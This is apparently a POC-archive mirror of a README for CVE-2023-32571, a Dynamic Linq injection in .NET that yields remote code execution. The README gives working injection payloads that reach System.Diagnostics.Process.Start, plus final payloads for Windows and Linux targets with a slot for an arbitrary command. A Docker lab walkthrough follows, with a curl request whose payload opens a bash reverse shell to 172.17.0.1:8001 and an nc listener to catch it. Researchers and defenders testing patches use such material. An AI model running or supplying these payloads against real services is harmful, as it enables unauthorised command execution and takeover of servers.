Associated Vulnerability
Title:Dynamic Linq 安全漏洞 (CVE-2023-32571)Description:Dynamic Linq 1.0.7.10 through 1.2.25 before 1.3.0 allows attackers to execute arbitrary code and commands when untrusted input to methods including Where, Select, OrderBy is parsed.
Readme
# Dynamic Linq injection to RCE - CVE-2023-32571
## About Dynamic Linq injection to RCE (CVE-2023-32571)
Recently, members of the NCC Group discovered a vulnerability in Dynamic Linq that allows attackers to call C# functions through a Linq Injection, thus making it possible to obtain RCE.
Even with the RCE report on Dynamic Linq, the members of the NCC Group for some reason did not make the POC available for executing commands.
## POC
As stated in the NCC Group research, we can call C# methods through "Invoke". With this, we can call "System.Diagnostics.Process.Start" and execute commands on the server.
We can use the "CreateInstanceFromAndUnwrap" method to call System.Diagnostics.Process through the assembly.
Payload to use the `System.AppDomain.CreateInstanceAndUnwrap` method:
```
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
```
Payload to call `System.Diagnostics.Process` through the `CreateInstanceAndUnwrap` method:
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
```
By accessing the methods of the `System.Diagnostics.Process` class, we can use the `System.Diagnostics.Process.Start` method to execute commands on system:
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
```
Obs: Notice the payload looks for the first 3 `Start` methods and gets the last one. I did this because the list of methods in `System.Diagnostics.Process` had several `Start` methods, and the one we need is the third one on the list.
## Final Payload
<b>Windows Targets</b>
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
```
<br/>
<b>Linux Targets</b>
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
```
## To start lab, follow the instructions
Install docker and docker-compose:
<b>Debian</b>
```
sudo apt update -y && sudo apt install docker.io docker-compose -y
```
<br/>
<b>Arch Linux</b>
```
sudo pacman -Syu && sudo pacman -S docker docker-compose
```
<br/>
Clone this repository:
```
git clone https://github.com/Tris0n/CVE-2023-32571-POC
```
<br/>
Go to repository directory:
```
cd CVE-2023-32571-POC
```
<br/>
Run docker-compose:
```
sudo docker-compose up --build
```
<br/>
The application starts on `http://localhost:8000/`
## Lab writeup
Accessing the "/api/products" route through the POST method, we see that it returns a list of products:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products
```

By sending the `name` parameter in json, we can filter products:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products
```

After some tests, we see that we were able to inject it into the Dynamic Linq query. By sending the following payload, we were able to obtain a reverse shell:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products
```

```
nc -lvp 8001
```

File Snapshot
[4.0K] /data/pocs/4bc53c4ead95d8c6222ba463e2eee1863a73b111
├── [4.0K] DynamicLinqToRce
│ ├── [ 119] appsettings.Development.json
│ ├── [ 142] appsettings.json
│ ├── [4.0K] bin
│ │ └── [4.0K] Debug
│ │ └── [4.0K] net7.0
│ │ ├── [ 119] appsettings.Development.json
│ │ ├── [ 142] appsettings.json
│ │ ├── [5.2K] DynamicLinqToRce.deps.json
│ │ ├── [ 10K] DynamicLinqToRce.dll
│ │ ├── [151K] DynamicLinqToRce.exe
│ │ ├── [ 21K] DynamicLinqToRce.pdb
│ │ ├── [ 398] DynamicLinqToRce.runtimeconfig.json
│ │ ├── [ 64K] Microsoft.AspNetCore.OpenApi.dll
│ │ ├── [206K] Microsoft.OpenApi.dll
│ │ ├── [ 15K] Swashbuckle.AspNetCore.Swagger.dll
│ │ ├── [ 95K] Swashbuckle.AspNetCore.SwaggerGen.dll
│ │ ├── [3.1M] Swashbuckle.AspNetCore.SwaggerUI.dll
│ │ └── [212K] System.Linq.Dynamic.Core.dll
│ ├── [4.0K] Controllers
│ │ └── [ 779] ProductsController.cs
│ ├── [ 69] docker-compose.yml
│ ├── [ 688] Dockerfile
│ ├── [ 472] DynamicLinqToRce.csproj
│ ├── [1.1K] DynamicLinqToRce.sln
│ ├── [4.0K] Models
│ │ ├── [ 61] Product.cs
│ │ └── [ 86] ShowProducts.cs
│ ├── [4.0K] obj
│ │ ├── [4.0K] Debug
│ │ │ └── [4.0K] net7.0
│ │ │ ├── [151K] apphost.exe
│ │ │ ├── [ 959] DynamicLinqToRce.AssemblyInfo.cs
│ │ │ ├── [ 41] DynamicLinqToRce.AssemblyInfoInputs.cache
│ │ │ ├── [4.8K] DynamicLinqToRce.assets.cache
│ │ │ ├── [2.9K] DynamicLinqToRce.csproj.AssemblyReference.cache
│ │ │ ├── [ 0] DynamicLinqToRce.csproj.CopyComplete
│ │ │ ├── [ 41] DynamicLinqToRce.csproj.CoreCompileInputs.cache
│ │ │ ├── [3.9K] DynamicLinqToRce.csproj.FileListAbsolute.txt
│ │ │ ├── [ 10K] DynamicLinqToRce.dll
│ │ │ ├── [ 861] DynamicLinqToRce.GeneratedMSBuildEditorConfig.editorconfig
│ │ │ ├── [ 41] DynamicLinqToRce.genruntimeconfig.cache
│ │ │ ├── [ 753] DynamicLinqToRce.GlobalUsings.g.cs
│ │ │ ├── [ 0] DynamicLinqToRce.MvcApplicationPartsAssemblyInfo.cache
│ │ │ ├── [ 679] DynamicLinqToRce.MvcApplicationPartsAssemblyInfo.cs
│ │ │ ├── [ 21K] DynamicLinqToRce.pdb
│ │ │ ├── [4.0K] ref
│ │ │ │ └── [6.5K] DynamicLinqToRce.dll
│ │ │ ├── [4.0K] refint
│ │ │ │ └── [6.5K] DynamicLinqToRce.dll
│ │ │ ├── [4.0K] staticwebassets
│ │ │ │ ├── [ 89] msbuild.build.DynamicLinqToRce.props
│ │ │ │ ├── [ 78] msbuild.buildMultiTargeting.DynamicLinqToRce.props
│ │ │ │ └── [ 92] msbuild.buildTransitive.DynamicLinqToRce.props
│ │ │ └── [ 283] staticwebassets.build.json
│ │ ├── [2.5K] DynamicLinqToRce.csproj.nuget.dgspec.json
│ │ ├── [2.0K] DynamicLinqToRce.csproj.nuget.g.props
│ │ ├── [ 546] DynamicLinqToRce.csproj.nuget.g.targets
│ │ ├── [ 27K] project.assets.json
│ │ └── [1.3K] project.nuget.cache
│ ├── [ 532] Program.cs
│ └── [4.0K] Properties
│ └── [1.1K] launchSettings.json
└── [6.2K] README.md
13 directories, 51 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →